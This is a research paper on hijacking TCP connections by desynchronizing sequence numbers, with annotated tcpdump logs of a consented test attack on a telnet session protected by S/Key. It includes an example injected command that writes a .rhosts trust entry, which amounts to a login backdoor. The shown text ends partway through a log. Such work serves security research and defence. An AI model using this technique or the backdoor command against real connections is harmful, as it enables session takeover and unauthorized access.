    Simple Active Attack Against TCP

    Laurent Joncheray

    Merit Network, Inc.
    4251 Plymouth Road, Suite C
    Ann Arbor, MI 48105, USA
    Phone: +1 (313) 936 2065
    Fax: +1 (313) 747 3185
    E-mail: lpj@merit.edu

    Abstract

    This paper describes an active attack against the Transport
    Control Protocol (TCP) which allows a cracker to redirect the TCP
    stream through his machine thereby permitting him to bypass the protection
    offered by such a system as a one-time password [skey] or
    ticketing authentication [kerberos]. The TCP connection is
    vulnerable to anyone with a TCP packet sniffer and generator located on
    the path followed by the connection. Some schemes to detect this
    attack are presented as well as some methods of prevention and some
    interesting details of the TCP protocol behaviors.

    1. Introduction

    Passive attacks using sniffers are becoming more and more
    frequent on the Internet. The attacker obtains a user id and password
    that allows him to logon as that user. In order to prevent such attacks
    people have been using identification schemes such as one-time password
    [skey] or ticketing identification [kerberos]. Though
    they prevent password sniffing on an unsecure network these methods
    are still vulnerable to an active attack as long as they neither
    encrypt nor sign the data stream. [Kerberos also provides an
    encrypted TCP stream option.] Still many people are complacent believing
    that active attacks are very difficult and hence a lesser risk.

    The following paper describes an extremely simple active attack
    which has been successfully used to break into Unix hosts and
    which can be done with the same resources as for a passive sniffing
    attack. [The attacks have been performed with a test software
    and the users were aware of the attack. Although we do not have any
    knowledge of such an attack being used on the Internet, it may
    be possible.] Some uncommon behaviors of the TCP protocol are also
    presented as well as some real examples and statistical studies of the
    attack's impact on the network. Finally some detection and prevention
    schemes are explained. In order to help any reader unfamiliar with the
    subtleties of the TCP protocol the article starts with a short
    description of TCP.

    The reader can also refers to another attack by R. Morris
    presented in [morris85]. Though the following attack is related
    to Morris' one, it is more widely usable on any TCP connection.
    In section 7 we present and compare this attack with
    the present one.

    The presentation of the attack will be divided into three parts:
    the ``Established State'' which is the state where the session is open
    and data is exchanged; the set up (or opening) of such a session; and
    finally some real examples.

    2. Established State

    2.1 The TCP protocol

    This section offers a short description of the TCP protocol.
    For more details the reader can refer to [rfc793]. TCP provides a
    full duplex reliable stream connection between two end points. A
    connection is uniquely defined by the quadruple (IP address of sender,
    TCP port number of the sender, IP address of the receiver, TCP port
    number of the receiver). Every byte that is sent by a host is marked with a
    sequence number (32 bits integer) and is acknowledged by the receiver
    using this sequence number. The sequence number for the first byte sent
    is computed during the connection opening. It changes for any new
    connection based on rules designed to avoid reuse of the same sequence
    number for two different sessions of a TCP connection.

    We shall assume in this document that one point of the
    connection acts as a server (for instance a telnet server) and the
    other as the client. The following terms will be used:

    SVR_SEQ: sequence number of the next byte to be sent
    by the server;
    SVR_ACK: next byte to be received by the server
    (the sequence number of the last byte received plus one);
    SVR_WIND: server's receive window;
    CLT_SEQ: sequence number of the next byte to be sent by
    the client;
    CLT_ACK: next byte to be received by the client;
    CLT_WIND: client's receive window;

    At the beginning when no data has been exchanged we have
    SVR_SEQ = CLT_ACK and CLT_SEQ = SVR_ACK. These equations
    are also true when the connection is in a 'quiet' state (no data being
    sent on each side). They are not true during transitory states when
    data is sent. The more general equations are:

    CLT_ACK &lt;= SVR_SEQ &lt;= CLT_ACK + CLT_WIND
    SVR_ACK &lt;= CLT_SEQ &lt;= SVR_ACK + SVR_WIND

    The TCP packet header fields are:

    Source Port: The source port number;
    Destination Port: The destination port number;
    Sequence number: The sequence number of the first
    byte in this packet;
    Acknowledgment Number: The expected sequence number
    of the next byte to be received;
    Data Offset: Offset of the data in the packet;
    Control Bits:

    URG: Urgent Pointer;
    ACK: Acknowledgment;
    PSH: Push Function;
    RST: Reset the connection;
    SYN: Synchronize sequence numbers;
    FIN: No more data from sender;

    Window: Window size of the sender;
    Checksum: TCP checksum of the header and data;
    Urgent Pointer: TCP urgent pointer;
    Options: TCP options;

    - SEG_SEQ will refer to the packet sequence number (as
    seen in the header).
    - SEG_ACK will refer to the packet acknowledgment number.
    - SEG_FLAG will refer to the control bits.

    On a typical packet sent by the client (no retransmission) SEG_SEQ is set
    to CLT_SEQ, SEG_ACK to CLT_ACK.

    TCP uses a ``three-way handshake'' to establish a new
    connection. If we suppose that the client initiates the connection to
    the server and that no data is exchanged, the normal packet exchange
    is (C.f. Figure 1):

    - The connection on the client side is on the CLOSED state.
    The one on the server side is on the LISTEN state.
    - The client first sends its initial sequence number and sets the SYN bit:

    SEG_SEQ = CLT_SEQ_0,
    SEG_FLAG = SYN

    Its state is now SYN-SENT
    - On receipt of this packet the server acknowledges the client sequence
    number, sends its own initial sequence number and sets the SYN bit:

    SEG_SEQ = SVR_SEQ_0,
    SEQ_ACK = CLT_SEQ_0+1,
    SEG_FLAG = SYN

    and set

    SVR_ACK=CLT_SEQ_0+1

    Its state is now SYN-RECEIVED
    - On receipt of this packet the client acknowledges the server
    sequence number:

    SEG_SEQ = CLT_SEQ_0+1,
    SEQ_ACK = SVR_SEQ_0+1

    and sets CLT_ACK=SVR_SEQ_0+1
    Its state is now ESTABLISHED
    - On receipt of this packet the server enters the ESTABLISHED state. We now
    have:

    CLT_SEQ = CLT_SEQ_0+1
    CLT_ACK = SVR_SEQ_0+1
    SVR_SEQ = SVR_SEQ_0+1
    SVR_ACK = CLT_SEQ_0+1

    Server Client
    LISTEN CLOSED

    &lt;- SYN,
    CLT_SEQ_0

    LISTEN SYN-SENT

    SYN, -&gt;
    SVR_SEQ_0,
    CLT_SEQ_0+1

    SYN-RECEIVED ESTABLISHED

    SVR_SEQ = CLT_SEQ_0 + 1
    CLT_ACK = SVR_SEQ_0 + 1

    &lt;- ACK,
    CLT_SEQ_0 + 1
    SVR_SEQ_0+1

    ESTABLISHED

    SVR_SEQ = SVR_SEQ_0 + 1
    SVR_ACK = CLT_SEQ_0 + 1


    figure 1: Example of a connection opening

    Closing a connection can be done by using the FIN or the RST
    flag. If the RST flag of a packet is set the receiving host enters the
    CLOSED state and frees any resource associated with this instance of
    the connection. The packet is not acknowledged. Any new incoming
    packet for that connection will be dropped.

    If the FIN flag of a packet is set the receiving host enters the
    CLOSE-WAIT state and starts the process of gracefully closing the
    connection. The detail of that procces is beyond the scope of this
    document. The reader can refer to [rfc793] for further details.

    In the preceding example we specifically avoided any unusual cases
    such as out-of-band packets, retransmission, loss of packet, concurrent
    opening, etc... These can be ignored in this simple study of the
    attack.

    When in ESTABLISHED state, a packet is acceptable if its
    sequence number falls within the expected segment

    [SVR_ACK, SVR_ACK + SVR_WIND]

    (for the server) or

    [CLT_ACK, CLT_ACK + CLT_WIND]

    (for the client). If the sequence number is beyond those limits the
    packet is dropped and a acknowledged packet will be sent using the
    expected sequence number. For example if

    SEG_SEQ = 200,
    SVR_ACK = 100,
    SVR_WIND = 50

    Then SEG_SEQ &gt; SVR_ACK + SVR_WIND. The server
    forms a ACK packet with

    SEG_SEQ = SVR_SEQ
    SEG_ACK = SVR_ACK

    which is what the server expects to see in the packet.

    2.2 A desynchronized state

    The term ``desynchronized state'' will refer to the connection
    when both sides are in the ESTABLISHED state, no data is being sent
    (stable state), and

    SVR_SEQ != CLT_ACK
    CLT_SEQ != SVR_ACK


    This state is stable as long as no data is sent. If some data
    is sent two cases can occur:

    - If CLT_SEQ &lt; SVR_ACK + SVR_WIND and
    CLT_SEQ &gt; SVR_ACK the packet is acceptable, the data may be stored
    for later use (depending on the implementation) but not sent to the
    user since the beginning of the stream (sequence number SVR_ACK) is
    missing.
    - If CLT_SEQ &gt; SVR_ACK + SVR_WIND or CLT_SEQ &lt;
    SVR_ACK the packet is not acceptable and will be dropped. The data is
    lost.

    In both case data exchange is not possible even if the state
    exists.

    2.3 The attack

    The proposed attack consists of creating a desynchronized state
    on both ends of the TCP connection so that the two points cannot exchange data
    any longer. A third party host is then used to create acceptable packets
    for both ends which mimics the real packets.

    Assume that the TCP session is in a desynchronized state and that
    the client sends a packet with

    SEG_SEQ = CLT_SEQ
    SEG_ACK = CLT_ACK

    Since CLT_SEQ != SVR_ACK the data will not be accepted and the
    packet is dropped. The third party then sends the same packet but
    changes the SEG_SEQ and SEG_ACK (and the checksum) such that

    SEG_SEQ = SVR_ACK,
    SEG_ACK = SVR_SEQ

    which is acceptable by the server. The data is processed by the server.

    If CLT_TO_SVR_OFFSET refers to SVR_ACK - CLT_SEQ and
    SVR_TO_CLT_OFFSET refers to CLT_ACK - SVR_SEQ then the first party
    attacker has to rewrite the TCP packet from the client to the server as:

    SEG_SEQ &lt;- SEG_SEQ + CLT_TO_SVR_OFFSET
    SEG_ACK &lt;- SEG_ACK - SVR_TO_CLT_OFFSET

    Considering that the attacker can listen to any packet exchanged between
    the two points and can forge any kind of IP packet (therefore masquerading as
    either the client or the server) then everything acts as if the connection
    goes through the attacker machine. This one can add or remove any data to
    the stream. For instance if the connection is a remote login using telnet
    the attacker can include any command on behalf of the user
    ("echo merit.edu lpj &gt; ~/.rhosts" is an example of such a command)
    and filter out any unwanted echo so that the user will not
    be aware of the intruder.
    Of course in this case CLT_TO_SVR_OFFSET and SVR_TO_CLT_OFFSET
    have to change. The new values are let as an exercise for the
    reader. [One can turn off
    the echo in the telnet connection in order to avoid the burden of filtering
    the output. The test we did showed up a bug in the current telnet
    implementation (or maybe in the telnet protocol itself). If a TCP packet
    contains both
    IAC DONT ECHO and IAC DO ECHO the telnet processor will answer with
    IAC WONT ECHO and IAC WILL ECHO. The other end point will acknowledge
    IAC DONT ECHO and IAC DO ECHO etc... creating an endless loop.]

    2.4 ``TCP Ack storm''

    A flaw of the attack is the generation of a lot of TCP ACK
    packets. When receiving an unacceptable packet the host acknowledges it
    by sending the expected sequence number (As the Acknolegement number.
    C.f. introduction about TCP)
    and using its own sequence number. This packet is itself unacceptable and
    will generate an acknowledgement packet which in turn will generate
    an acknowledgement packet etc... creating a supposedly endless loop for
    every data packet sent.

    Since these packets do not carry data they are not retransmitted
    if the packet is lost. This means that if one of the packets
    in the loop is dropped then the loop ends. Fortunately (or
    unfortunately?) TCP uses IP on an unreliable network layer with a non
    null packet loss rate, making an end to the loops. Moreover the more
    packets the network drops, the shorter is the Ack storm (the loop). We
    also notice that these loops are self regulating: the more loops we
    create the more traffic we get, the more congestion and packet drops we
    experience and the more loops are killed.

    The loop is created each time the client or the server sends data.
    If no data is sent no loop appears. If data is sent and no attacker is there
    to acknowledge the data then the data will be retransmitted, a storm
    will be created for each retransmission, and eventually the connection
    will be dropped since no ACK of the data is sent. If the attacker acknowledges
    the data then only one storm is produced (in practice the attacker often
    missed the data packet due to the load on the network, and acknowledge the
    first of subsequent retransmission).

    The attack uses the second type of packet described in
    Section 2.2. The first case in which the data is stored by
    the receiver for later processing has not been tested. It has the
    advantage of not generating the ACK storm but on the other hand it may be
    dangerous if the data is actually processed. It is also difficult to
    use with small window connections.

    3. Setup of the session

    This paper presents two methods for desynchronizing a TCP connection.
    Others can be imagined but will not be described here. We suppose that the
    attacker can listen to every packet sent between the two end points.

    3.1 Early desynchronization

    This method consists of breaking the connection in its early setup stage
    on the server side and creating a new one with different sequence number.
    Here is the process (Figure 2 summarizes this process)

    - The attacker listens for a SYN/ACK packet from the server to
    the client (stage 2 in the connection set up).

    - On detection of that packet the attacker sends the server
    a RST packet and then a SYN packet with exactly the same parameters
    (TCP port) but a different sequence number (referred to as ATK_ACK_0 in
    the rest of the paper).

    - The server will close the first connection when it
    receives the RST packet and then reopens a new one on the same port but
    with a different sequence number (SVR_SEQ_0') on receipt of the SYN
    packet. It sends back a SYN/ACK packet to the client.

    - On detection of that packet the attacker sends the server a
    ACK packet. The server switches to the ESTABLISHED state.

    - The client has already switched to the ESTABLISHED state when it
    receives the first SYN/ACK packet from the server.


    Server Client

    LISTEN CLOSED

    &lt;- SYN,
    CLT_SEQ_0

    SYN-RECEIVED SYN-SENT

    SYN, -&gt;
    SVR_SEQ_0,
    CLT_SEQ_0+1


    ESTABLISHED

    SVR_SEQ = CLT_SEQ_0 + 1
    CLT_ACK = SVR_SEQ_0 + 1

    &lt;= RST,
    CLT_SEQ_0 + 1

    CLOSED

    &lt;= SYN,
    ATK_SEQ_0


    SYN, -&gt;
    SVR_SEQ_0',
    ATK_SEQ_0 + 1

    SYN-RECEIVED

    &lt;= SYN,
    ATK_SEQ_0 + 1,
    SVR_SEQ_0' + 1


    ESTABLISHED

    SVR_SEQ = SVR_SEQ_0' + 1
    SVR_ACK = ATK_SEQ_0 + 1


    Figure 2: A attack scheme. The attacker's packets are marked with &lt;=

    This diagram does not show the unacceptable acknowledgement packet
    exchanges. Both ends are in the desynchronized ESTABLISHED state now.

    SVR_TO_CLT_OFFSET = SVR_SEQ_0 - SVR_SEQ_0'

    is fixed by the server.

    CLT_TO_SVR_OFFSET = ATK_SEQ_0 - CLT_SEQ_0

    is fixed by the attacker.

    The success of the attack relies on the correct value being chosen
    for CLT_TO_SVR_OFFSET. Wrong value may make the
    client's packet acceptable and can produce unwanted effects.

    3.2 Null data desynchronization

    This method consists for the attacker in sending a large amount
    of data to the server and to the client. The data sent shouldn't affect
    nor be visible to the client or sever, but will put both end of the TCP
    session in the desynchronized state.

    The following scheme can be used with a telnet session:

    - The attacker watchs the session without interfering.
    - When appropriate the attacker sends a large amount of ``null
    data'' to the server. ``Null data'' refers to data that will not affect
    anything on the server side besides changing the TCP acknowledgment number.
    [For instance with a telnet session the attacker sends ATK_SVR_OFFSET
    bytes consisting of the sequence IAC NOP IAC NOP... Every two
    bytes IAC NOP will be interpreted by the telnet daemon, removed from
    the stream of data and nothing will be affected. [The telnet
    protocol [telnet] defines the NOP command as ``No Operation''. In
    other words, do nothing, just ignore those bytes.] Now the Server has

    SVR_ACK = CLT_SEQ + ATK_SVR_OFFSET

    which of course is desynchronized.
    - The attacker does the same thing with the client.


    The method is useful if the session can carry ``null data''. The
    time when the attacker sends that data is also very difficult to determine
    and may cause some unpredictable side effects.

    4. Examples

    The following logs are provided by running a hacked version of
    tcpdump [tcpdump] on the local ethernet where the client resides.
    Comments are preceded by `##'.

    The first example is a normal telnet session opening between 35.42.1.56
    (the client) and 198.108.3.13 (the server).

    ## The client sends a SYN packet, 1496960000 is its initial sequence nu
    mber.
    11:07:14.934093 35.42.1.56.1374 &gt; 198.108.3.13.23: S 1496960000:1496960000(0) w
    in 4096
    ## The server answers with its initial sequence number and the SYN flag
    .
    11:07:14.936345 198.108.3.13.23 &gt; 35.42.1.56.1374: S 1402880000:1402880000(0) a
    ck 1496960001 win 4096
    ## The client acknowledges the SYN packet.
    11:07:14.937068 35.42.1.56.1374 &gt; 198.108.3.13.23: . 1496960001:1496960001(0) a
    ck 1402880001 win 4096
    ## Now the two end points are in the ESTABLISHED state.
    ## The client sends 6 bytes of data.
    11:07:15.021817 35.42.1.56.1374 &gt; 198.108.3.13.23: P 1496960001:1496960007(6)
    ack 1402880001 win 4096 255 253 /C 255 251 /X
    [...
    ## The rest of the log is the graceful closing of the connection
    11:07:18.111596 198.108.3.13.23 &gt; 35.42.1.56.1374: F 1402880059:1402880059(0) a
    ck 1496960025 win 4096
    11:07:18.112304 35.42.1.56.1374 &gt; 198.108.3.13.23: . 1496960025:1496960025(0) a
    ck 1402880060 win 4096
    11:07:18.130610 35.42.1.56.1374 &gt; 198.108.3.13.23: F 1496960025:1496960025(0) a
    ck 1402880060 win 4096
    11:07:18.132935 198.108.3.13.23 &gt; 35.42.1.56.1374: . 1402880060:1402880060(0) a
    ck 1496960026 win 4095

    The next example is the same session with an intrusion by the
    attacker. The desynchronized state is created in the early stage of
    the session (subsection 3.1). The attacker will add the
    command 'ls;' to the stream of data. The user uses skey to
    identify himself to the server. From the user's point of view the
    session looks like this:

    &lt;lpj@homefries: 1&gt; telnet 198.108.3.13
    Trying 198.108.3.13 ...
    Connected to 198.108.3.13.
    Escape character is '^'.

    SunOS UNIX (_host)

    login: lpj
    s/key 70 cn33287
    (s/key required)
    Password:
    Last login: Wed Nov 30 11:28:21 from homefries.merit.edu
    SunOS Release 4.1.3_U1 (GENERIC) #2: Thu Jan 20 15:58:03 PST 1994
    (lpj@_host: 1) pwd
    Mail/ mbox src/
    elm* resize* traceroute*
    /usr/users/lpj
    (lpj@_host: 2) history
    1 13:18 ls ; pwd
    2 13:18 history
    (lpj@_host: 3) logoutConnection closed by foreign host.
    &lt;lpj@homefries: 2&gt;

    The user types only one command 'pwd' and then asks for the history of
    the session. The history shows that a ls' has also being issued.
    The ls command produces an output which has not been filtered.
    The following log shows the TCP packet exchanges between the client and
    the server. Unfortunately some packets are missing from this log because
    they have been dropped by the sniffer's ethernet interface driver. One
    must see that log like a snapshot of a few instants of the exchange
    more than the full transaction log. The attacker's window size has been
    set to uncommon values (400, 500, 1000) in order to make its packets
    more easily traceable. The attacker is on 35.42.1, three hops away from the
    server, on the path from the client to the server. The names and addresses
    of the hosts have been changed for security reasons.

    ## The client sends a SYN packet, 896896000 is its initial sequence num
    ber.
    11:25:38.946119 35.42.1.146.1098 &gt; 198.108.3.13.23: S 896896000:896896000(0) wi
    n 4096
    ## The server answers with its initial sequence number (1544576000) and
    the SYN flag.
    11:25:38.948408 198.108.3.13.23 &gt; 35.42.1.146.1098: S 1544576000:1544576000(0)
    ack 896896001 win 4096
    ## The client acknowledges the SYN packet. It is in the ESTABLISHED sta
    te now.
    11:25:38.948705 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896001:896896001(0) ac
    k 1544576001 win 4096
    ## The client sends some data
    11:25:38.962069 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896001:896896007(6)
    ack 1544576001 win 4096 255 253 /C 255 251 /X
    ## The attacker resets the connection on the server side
    11:25:39.015717 35.42.1.146.1098 &gt; 198.108.3.13.23: R 896896101:896896101(0) wi
    n 0
    ## The attacker reopens the connection with an initial sequence number
    of 601928704
    11:25:39.019402 35.42.1.146.1098 &gt; 198.108.3.13.23: S 601928704:601928704(0) wi
    n 500
    ## The server answers with a new initial sequence number (1544640000) a
    nd the SYN flag.
    11:25:39.022078 198.108.3.13.23 &gt; 35.42.1.146.1098: S 1544640000:1544640000(0)
    ack 601928705 win 4096
    ## Since the last packet is unacceptable for the client, it acknowledge
    s it
    ## with the expected sequence number (1544576001)
    11:25:39.022313 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac
    k 1544576001 win 4096
    ## Retransmission to the SYN packet triggered by the unacceptable last
    packet
    11:25:39.023780 198.108.3.13.23 &gt; 35.42.1.146.1098: S 1544640000:1544640000(0)
    ack 601928705 win 4096
    ## The ACK storm loop
    11:25:39.024009 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac
    k 1544576001 win 4096
    11:25:39.025713 198.108.3.13.23 &gt; 35.42.1.146.1098: S 1544640000:1544640000(0)
    ack 601928705 win 4096
    11:25:39.026022 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac
    k 1544576001 win 4096
    [...
    11:25:39.118789 198.108.3.13.23 &gt; 35.42.1.146.1098: S 1544640000:1544640000(0)
    ack 601928705 win 4096
    11:25:39.119102 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac
    k 1544576001 win 4096
    11:25:39.120812 198.108.3.13.23 &gt; 35.42.1.146.1098: S 1544640000:1544640000(0)
    ack 601928705 win 4096
    11:25:39.121056 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac
    k 1544576001 win 4096
    ## Eventually the attacker acknowledges the server SYN packet with the
    attacker's new
    ## sequence number (601928705). The data in this packet is the one prev
    iously
    ## sent by the client but never received.
    11:25:39.122371 35.42.1.146.1098 &gt; 198.108.3.13.23: . 601928705:601928711(6)
    ack 1544640001 win 400 255 253 /C 255 251 /X
    ## Some ACK storm
    11:25:39.124254 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640001:1544640001(0)
    ack 601928711 win 4090
    11:25:39.124631 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac
    k 1544576001 win 4096
    11:25:39.126217 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640001:1544640001(0)
    ack 601928711 win 4090
    11:25:39.126632 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac
    k 1544576001 win 4096
    [...
    11:25:41.261885 35.42.1.146.1098 &gt; 198.108.3.13.23: . 601928728:601928728(0) ac
    k 1544640056 win 1000
    ## A retransmission by the client
    11:25:41.422727 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896018:896896024(6)
    ack 1544576056 win 4096 255 253 /A 255 252 /A
    11:25:41.424108 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640059:1544640059(0)
    ack 601928728 win 4096
    [...
    11:25:42.323262 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896025:896896025(0) ac
    k 1544576059 win 4096
    11:25:42.324609 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640059:1544640059(0)
    ack 601928728 win 4096
    ## The user ID second character.
    11:25:42.325019 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896025:896896026(1)
    ack 1544576059 win 4096 p
    11:25:42.326313 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640059:1544640059(0)
    ack 601928728 win 4096
    [...
    11:25:43.241191 35.42.1.146.1098 &gt; 198.108.3.13.23: . 601928731:601928731(0) ac
    k 1544640060 win 1000
    ## Retransmission
    11:25:43.261287 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640059:1544640061(2)
    ack 601928730 win 4096 l p
    11:25:43.261598 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896027:896896027(0) ac
    k 1544576061 win 4096
    [...
    11:25:43.294192 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640061:1544640061(0)
    ack 601928730 win 4096
    11:25:43.922438 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896026:896896029(3)
    ack 1544576061 win 4096 j /M /@
    11:25:43.923964 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640061:1544640061(0)
    ack 601928730 win 4096
    [...
    11:25:43.957528 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640061:1544640061(0)
    ack 601928730 win 4096
    ## The attacker rewrites the packet sent by the server containing the s
    key challenge
    11:25:44.495629 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544576064:1544576082(18)

    ack 896896029 win 1000 s / k e y 7 0 c n 3 3 2 8 7 /M /J
    11:25:44.502533 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544576082:1544576109(27)

    ack 896896029 win 1000 ( s / k e y r e q u i r e d ) /M /J P a s s w
    o r d :
    11:25:44.522500 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896029:896896029(0) ac
    k 1544576109 win 4096
    [...
    11:25:44.558320 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640109:1544640109(0)
    ack 601928733 win 4096
    ## Beginning of the skey password sent by the user (client)
    11:25:57.356323 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896029:896896030(1)
    ack 1544576109 win 4096 T
    11:25:57.358220 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640109:1544640109(0)
    ack 601928733 win 4096
    [...
    11:25:57.412103 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640109:1544640109(0)
    ack 601928733 win 4096
    ## Echo of the beginning of the skey password sent by the server
    11:25:57.412456 35.42.1.146.1098 &gt; 198.108.3.13.23: P 601928733:601928734(1)
    ack 1544640109 win 1000 T
    11:25:57.412681 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896030:896896030(0) ac
    k 1544576109 win 4096
    [...
    11:25:57.800953 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640109:1544640109(0)
    ack 601928734 win 4096
    ## The attacker rewrites the skey password packet
    11:25:57.801254 35.42.1.146.1098 &gt; 198.108.3.13.23: P 601928734:601928762(28)
    ack 1544640109 win 1000 A U T S H I M L O F T V A S E M O O R
    I D /M /@
    11:25:57.801486 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896058:896896058(0) ac
    k 1544576109 win 4096
    [...
    11:25:58.358275 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896058:896896058(0) ac
    k 1544576109 win 4096
    11:25:58.360109 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640263:1544640278(15)

    ack 601928762 win 4096 ( l p j @ _ r a d b : 1 )
    11:25:58.360418 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896058:896896058(0) ac
    k 1544576109 win 4096
    [...
    11:26:00.919976 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896058:896896058(0) ac
    k 1544576278 win 4096
    ## The 'p' of the 'pwd' command typed by the user.
    11:26:01.637187 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896058:896896059(1)
    ack 1544576278 win 4096 p
    11:26:01.638832 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640278:1544640278(0)
    ack 601928762 win 4096
    [...
    11:26:03.183200 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896063:896896063(0) ac
    k 1544576280 win 4096
    11:26:03.921272 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896060:896896063(3)
    ack 1544576280 win 4096 d /M /@
    11:26:03.922886 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640283:1544640283(0)
    ack 601928767 win 4096
    [...
    11:26:04.339186 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896063:896896063(0) ac
    k 1544576280 win 4096
    11:26:04.340635 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640288:1544640307(19)

    ack 601928770 win 4096 M a i l / /I /I m b o x /I /I s r c / /M /J
    11:26:04.342872 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640307:1544640335(28)

    ack 601928770 win 4096 e l m * /I /I r e s i z e * /I /I t r a c e r o
    u t e * /M
    /J
    11:26:04.345480 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896063:896896063(0) ac
    k 1544576280 win 4096
    11:26:04.346791 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640335:1544640351(16)

    ack 601928770 win 4096 / u s r / u s e r s / l p j /M /J
    11:26:04.347094 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896063:896896063(0) ac
    k 1544576280 win 4096
    11:26:04.348402 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640351:1544640366(15)

    ack 601928770 win 4096 ( l p j @ _ r a d b : 2 )
    11:26:04.378571 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896063:896896063(0) ac
    k 1544576280 win 4096
    [...
    11:26:09.791045 35.42.1.146.1098 &gt; 198.108.3.13.23: P 601928773:601928775(2)
    ack 1544640369 win 1000 t o
    11:26:09.794653 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640369:1544640371(2)
    ack 601928775 win 4096 t o
    11:26:09.794885 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896068:896896068(0) ac
    k 1544576366 win 4096
    [...
    11:26:12.420397 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896068:896896072(4)
    ack 1544576368 win 4096 r y /M /@
    11:26:12.422242 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640371:1544640371(0)
    ack 601928775 win 4096
    [...
    11:26:12.440765 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896072:896896072(0) ac
    k 1544576368 win 4096
    ## The 'ry' of the 'history' command sent by the client
    11:26:16.420287 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896068:896896072(4)
    ack 1544576368 win 4096 r y /M /@
    11:26:16.421801 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640371:1544640371(0)
    ack 601928775 win 4096
    [...
    11:26:16.483943 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896072:896896072(0) ac
    k 1544576368 win 4096
    ## The same packet rewritten by the attacker.
    11:26:16.505773 35.42.1.146.1098 &gt; 198.108.3.13.23: P 601928775:601928779(4)
    ack 1544640371 win 1000 r y /M /@
    ## answer to the history command sent by the server. We can notice the
    'ls ;' inclusion
    ## before the 'pwd'
    11:26:16.514225 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640371:1544640437(66)

    ack 601928779 win 4096 r y /M /@ /M /J 1 /I 1 1 : 2 8 /I l s
    ; p w
    d /M /J 2 /I 1 1 : 2 8 /I /@ /@ /@ L /@ /@ /@ T . 220 167 168
    /@ /G
    /@ /@ /@ /X /@ /H 137 148 /@ /@
    11:26:16.514465 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896072:896896072(0) ac
    k 1544576368 win 4096
    [...
    11:26:16.575344 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896072:896896072(0) ac
    k 1544576368 win 4096
    ## The same packet rewritten by the attacker.
    11:26:16.577183 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544576368:1544576434(66)

    ack 896896072 win 1000 r y /M /@ /M /J 1 /I 1 1 : 2 8 /I l s
    ; p w
    d /M /J 2 /I 1 1 : 2 8 /I /@ /@ /@ L /@ /@ /@ T . 220 167 168 /@ /H /
    @ /@ /@
    /X /@ /H 137 148 /@ /@
    11:26:16.577490 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640437:1544640437(0)
    ack 601928779 win 4096
    [...
    ## The user log out.
    11:26:20.236907 35.42.1.146.1098 &gt; 198.108.3.13.23: P 601928781:601928782(1) ac
    k 1544640437 win 1000 g
    11:26:20.247288 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544576438:1544576438(0)
    ack 896896074 win 1000
    11:26:20.253500 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544576435:1544576436(1)
    ack 896896074 win 1000 o
    11:26:20.287513 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640439:1544640440(1)
    ack 601928782 win 4096 g
    11:26:20.287942 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896075:896896076(1) ac
    k 1544576436 win 4096 o
